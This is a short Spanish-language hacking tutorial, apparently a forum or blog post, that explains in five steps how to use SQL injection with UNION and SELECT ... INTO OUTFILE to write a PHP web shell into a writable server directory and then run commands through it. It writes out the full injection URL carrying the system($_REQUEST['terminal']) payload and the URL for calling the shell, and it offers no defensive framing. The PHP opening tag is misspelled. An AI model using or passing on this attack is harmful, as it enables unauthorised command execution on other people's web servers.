No hace tener las credenciales del admin para subir tu propio shell.
El primer paso consiste en encontrar un punto de inyección desde donde introducir codigo SQL.
Después debemos comprobar si el usuario que realiza las consultas a la base de datos tiene el permiso de
FILE para leer y escribir ficheros en el servidor usando sentencias
"SELECT ... INTO OUTFILE".
El tercer paso consiste en encontrar en el servidor algún directorio donde tengas permisos de
escritura, normalmente se suelen buscar ficheros temporales ya que cuentas con estos privilegios.
En el cuarto paso haremos uso de SQL Injection y mediante la técnica
UNION escribimos el el fichero especificado código PHP.
http://ejemplo.com/pagina.php?id=1 union select 1,1, "<?ph system($_REQUEST['terminal']); ?>" into outfile "/var/www/html/temp/miFichero.php" --
Aquí por ejemplo el punto de inyección son los parámetros que se pasan por GET pero también podría ser alguna caja de texto cuyo valor se envié a la base de datos y no este correctamente saneado.
El quinto y ultimo paso consiste en acceder a ese fichero que hemos creado mediante la url quedando algo así
http://ejemplo.com/temp/miFichero.php?terminal=comandoQueQuierasEjecutar